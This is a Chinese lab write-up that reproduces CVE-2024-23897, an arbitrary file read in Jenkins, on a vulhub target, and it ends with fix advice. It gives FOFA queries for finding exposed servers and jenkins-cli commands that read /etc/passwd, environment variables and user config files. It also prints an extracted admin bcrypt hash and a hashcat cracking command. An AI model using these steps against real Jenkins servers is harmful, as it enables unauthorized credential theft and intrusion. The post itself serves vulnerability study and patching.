CVE-2024-23897-Jenkins任意文件读取漏洞复现

content

  • Jenkins是什么
  • CVE-2024-23897
  • 总结
  • 修复建议

Jenkins是什么

Jenkins是一人基于Java开发的、可扩展的持续集成引擎,用于持续、自动地构建/测试软件项目,可以监控一些定时执行的任务。

官网文档:

Jenkins是一款开源 CI&CD 软件,用于自动化各种任务,包括构建、测试和部署软件。 Jenkins
支持各种运行方式,可通过系统包、Docker 或者通过一个独立的 Java 程序。

在这里插入图片描述

持续集成引擎:
持续集成引擎就像是软件开发中的智能管家,能自动收集开发人员编写的代码并整合到一起,然后像组装机器一样对代码进行检查和组装,使其成为可运行的软件,接着还会对软件进行各种测试,一旦发现问题就及时告知开发人员,通过不断地重复这些操作,确保软件能快速、高质量地完成开发,而 Jenkins 就是这样一个基于 Java 开发的、能实现这些功能的持续集成引擎工具。

CVE-2024-23897

CVE - 2024 - 23897是Jenkins存在的一个任意文件读取漏洞。Jenkins为用户提供了命令行接口,用户能够借助jenkins - cli.jar调用该接口,进而执行Jenkins的部分功能。然而,当使用jenkins - cli.jar执行命令行操作时,服务端会利用第三方库args4j对命令行进行解析。在解析过程中,若参数以@开头,系统就会把它认定为一个文件名,随后读取该文件的内容并将其作为参数。这一机制存在风险,一旦参数设置不当,就可能引发报错,且报错信息会将文件内容显示出来,从而导致任意文件读取的情况发生。
目前我的能力只能把漏洞打一遍,原理分析请看P神的原理分析文章
受影响版本:
Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2

fofa:

app="jenkins"

or

header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"

在这里插入图片描述

vulhub开启靶场环境,访问本机8080端口
在这里插入图片描述

访问http://靶场IP:8080/jnlpJars/jenkins-cli.jar

触发漏洞,但是这个命令只能读取部分内容

java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ -http help 1 "@etc/passwd"

在这里插入图片描述
读取/proc/self/environ
在这里插入图片描述
一些命令输出行数较多,比如connect-node这个命令

java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/  connect-node "@etc/passwd"

如果开启了Allow anonymous read access就可以读取全部文件内容,靶场应该是默认开启了
Jenkins 安装将有一个文件/var/jenkins_home/users/users.xml,其中列出了此处的所有有效用户

java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/users.xml"

在这里插入图片描述
这里读出来admin
users.xml显示系统上的单个用户,admin,其信息文件夹为/var/jenkins_home/users/admin_5965741382068509608
在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。
所以现在读取/var/jenkins_home/users/admin_5965741382068509608/config.xml

java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/admin_5965741382068509608/config.xml"

在这里插入图片描述
读取到:

<passwordHash>#jbcrypt:$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG</passwordHash>

下面用kali自带字典和工具爆破密码

首先把$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG写入txt文件,再把rockyou.txt复制到当前路径

hashcat -m 3200 info.txt rockyou.txt

开始爆破
在这里插入图片描述

但是尴尬了,报错* Device #1: Not enough allocatable device memory for this attack.我kali内存不够了,当时只分配了2G。
这边就直接说密码了,vulhub环境这个Jenkins密码是vulhub。用admin/vulhub登录成功。
登进后台安全管理界面可以发现Allow anonymous read access恰好是开启的。

在这里插入图片描述

总结

Jenkins提供了一个命令行的接口,jenkins-clijar是它的命令行客户端,通过jenkins-clijar可以去执行一些Jenkins中的功能。
利用条件:Jenkins 版本<= 2.441 和Jenkins 版本<= LTS 2.426.2+开启了Allow anonymous read access(读取完整文件)
流程:
在这里插入图片描述

因此根本原因是args4j这个库解析参数不当造成的

修复建议

Jenkins更新到最新版本
禁用Allow anonymous read access选项

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/963175.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

解析 Oracle 中的 ALL_SYNONYMS 和 ALL_VIEWS 视图:查找同义词与视图的基础操作

目录 前言1. ALL_SYNONYMS 视图2. ALL_VIEWS 视图3. 扩展 前言 &#x1f91f; 找工作&#xff0c;来万码优才&#xff1a;&#x1f449; #小程序://万码优才/r6rqmzDaXpYkJZF 1. ALL_SYNONYMS 视图 在 Oracle 数据库中&#xff0c;同义词&#xff08;Synonym&#xff09;是对数…

30.Word:设计并制作新年贺卡以及标签【30】

目录 NO1.2 NO3邮件合并-信函 NO4邮件合并-标签​ NO1.2 另存为/F12&#xff1a;考生文件夹&#xff1a;Word.docx布局→页面设置对话框→页边距&#xff1a;上下左右→纸张&#xff1a;宽度/高度&#xff08;先调页边距&#x1f197;&#xff09;设计→页面颜色→填充效果→…

Unity实现按键设置功能代码

一、前言 最近在学习unity2D&#xff0c;想做一个横版过关游戏&#xff0c;需要按键设置功能&#xff0c;让用户可以自定义方向键与攻击键等。 自己写了一个&#xff0c;总结如下。 二、界面效果图 这个是一个csv文件&#xff0c;准备第一列是中文按键说明&#xff0c;第二列…

一个简单的自适应html5导航模板

一个简单的 HTML 导航模板示例&#xff0c;它包含基本的导航栏结构&#xff0c;同时使用了 CSS 进行样式美化&#xff0c;让导航栏看起来更美观。另外&#xff0c;还添加了一些 JavaScript 代码&#xff0c;用于在移动端实现导航菜单的展开和收起功能。 PHP <!DOCTYPE htm…

TensorFlow 示例摄氏度到华氏度的转换(一)

TensorFlow 实现神经网络模型来进行摄氏度到华氏度的转换&#xff0c;可以将其作为一个回归问题来处理。我们可以通过神经网络来拟合这个简单的转换公式。 1. 数据准备与预处理 2. 构建模型 3. 编译模型 4. 训练模型 5. 评估模型 6. 模型应用与预测 7. 保存与加载模型 …

2.1.3 相机图像信号处理的基本流程

文章目录 ISP基本流程ISP各基本流程职责 ISP基本流程 图像信号处理将传感器采集到的Bayer阵列数据转换成符合人眼观感的图像数据。ISP(Image Signal Processing)图像信号处理基本流程包括坏点校正&#xff08;DPC, Defect Pixel Correction&#xff09;&#xff0c;黑电平校正&…

51单片机CLD1602显示万年历+闹钟+农历+整点报时

1. 硬件设计 硬件是我自己设计的一个通用的51单片机开发平台&#xff0c;可以根据需要自行焊接模块&#xff0c;这是用立创EDA画的一个双层PCB板&#xff0c;所以模块都是插针式&#xff0c;不是表贴的。电路原理图在文末的链接里&#xff0c;PCB图暂时不选择开源。 B站上传的…

颠覆AI界限!o3-mini与DeepSeek V3的巅峰对决

性能之战&#xff1a;谁才是AI推理的王者&#xff1f; 在AI技术飞速发展的今天&#xff0c;OpenAI最新发布的o3-mini模型如同一颗新星&#xff0c;闪耀在AIGC的天空中。它不仅带来了惊人的性能提升&#xff0c;还具备了多项用户友好的功能。与此同时&#xff0c;DeepSeek V3也…

Spring Boot项目如何使用MyBatis实现分页查询

写在前面&#xff1a;大家好&#xff01;我是晴空๓。如果博客中有不足或者的错误的地方欢迎在评论区或者私信我指正&#xff0c;感谢大家的不吝赐教。我的唯一博客更新地址是&#xff1a;https://ac-fun.blog.csdn.net/。非常感谢大家的支持。一起加油&#xff0c;冲鸭&#x…

PDCA 循环法

目录 循环周而复始大环套小环阶梯式上升 如何从 0 开始搭建 PDCA应用场景示例一、健身 APP 拉新活动策划第一阶段&#xff1a;制定详细的活动计划与方案第二阶段&#xff1a;活动执行阶段第三阶段&#xff1a;活动效果监控阶段第四阶段&#xff1a;活动复盘阶段 二、员工培训三…

深入理解Spring事务管理

一、事务基础概念 1.1 什么是事务&#xff1f; 事务&#xff08;Transaction&#xff09;是数据库操作的最小工作单元&#xff0c;具有ACID四大特性&#xff1a; 原子性&#xff08;Atomicity&#xff09;&#xff1a;事务中的操作要么全部成功&#xff0c;要么全部失败 一致…

【Linux-网络】初识计算机网络 Socket套接字 TCP/UDP协议(包含Socket编程实战)

&#x1f3ac; 个人主页&#xff1a;谁在夜里看海. &#x1f4d6; 个人专栏&#xff1a;《C系列》《Linux系列》《算法系列》 ⛰️ 道阻且长&#xff0c;行则将至 目录 &#x1f4da;一、初识计算机网络 &#x1f4d6; 背景 &#x1f4d6; 网络协议 &#x1f516;OSI七层…

2 MapReduce

2 MapReduce 1. MapReduce 介绍1.1 MapReduce 设计构思 2. MapReduce 编程规范3. Mapper以及Reducer抽象类介绍1.Mapper抽象类的基本介绍2.Reducer抽象类基本介绍 4. WordCount示例编写5. MapReduce程序运行模式6. MapReduce的运行机制详解6.1 MapTask 工作机制6.2 ReduceTask …

【Rust自学】15.5. Rc<T>:引用计数智能指针与共享所有权

喜欢的话别忘了点赞、收藏加关注哦&#xff0c;对接下来的教程有兴趣的可以关注专栏。谢谢喵&#xff01;(&#xff65;ω&#xff65;) 15.5.1. 什么是Rc<T> 所有权在大部分情况下都是清晰的。对于一个给定的值&#xff0c;程序员可以准确地推断出哪个变量拥有它。 …

LabVIEW微位移平台位移控制系统

本文介绍了基于LabVIEW的微位移平台位移控制系统的研究。通过设计一个闭环控制系统&#xff0c;针对微位移平台的通信驱动问题进行了解决&#xff0c;并提出了一种LabVIEW的应用方案&#xff0c;用于监控和控制微位移平台的位移&#xff0c;从而提高系统的精度和稳定性。 项目背…

关于matlab中rotm2eul的注释错误问题

在这里&#xff0c;写的是默认的旋转矩阵的顺序为‘ZYX’&#xff0c;对应的旋转轴的顺序为Z、Y、X。 包括网页上写的是 但是实际上&#xff0c;在实际的应用中&#xff0c;旋转的顺序应该是&#xff0c;X、Y、Z轴的顺序 即RRzRyRx 但是在矩阵运算中&#xff0c;由于YRzRyRx*X…

前端 | 深入理解Promise

1. 引言 JavaScript 是一种单线程语言&#xff0c;这意味着它一次仅能执行一个任务。为了处理异步操作&#xff0c;JavaScript 提供了回调函数&#xff0c;但是随着项目处理并发任务的增加&#xff0c;回调地狱 (Callback Hell) 使异步代码很难维护。为此&#xff0c;ES6带来了…

使用 Spring JDBC 进行数据库操作:深入解析 JdbcTemplate

目录 1. Spring JDBC 简介 2. JdbcTemplate 介绍 3. 创建数据库和表 4. 配置 Spring JDBC 5. 创建实体类 6. 使用 JdbcTemplate 实现增、删、改、查操作 7. Spring JDBC 优点 8. 小结 1. Spring JDBC 简介 Spring JDBC 是 Spring 框架中的一个模块&#xff0c;旨在简化…

基于FPGA的BT656编解码

概述 BT656全称为“ITU-R BT.656-4”或简称“BT656”,是一种用于数字视频传输的接口标准。它规定了数字视频信号的编码方式、传输格式以及接口电气特性。在物理层面上,BT656接口通常包含10根线(在某些应用中可能略有不同,但标准配置为10根)。这些线分别用于传输视频数据、…

流浪 Linux: 外置 USB SSD 安装 ArchLinux

注: ArchLinux 系统为滚动更新, 变化很快, 所以本文中的安装方法可能很快就过时了, 仅供参考. 实际安装时建议去阅读官方文档. 最近, 突然 (也没有那么突然) 有了一大堆 PC: 4 个笔记本, 2 个台式主机 (M-ATX 主板), 1 个小主机 (迷你主机). 嗯, 多到用不过来. 但是, 窝又不能…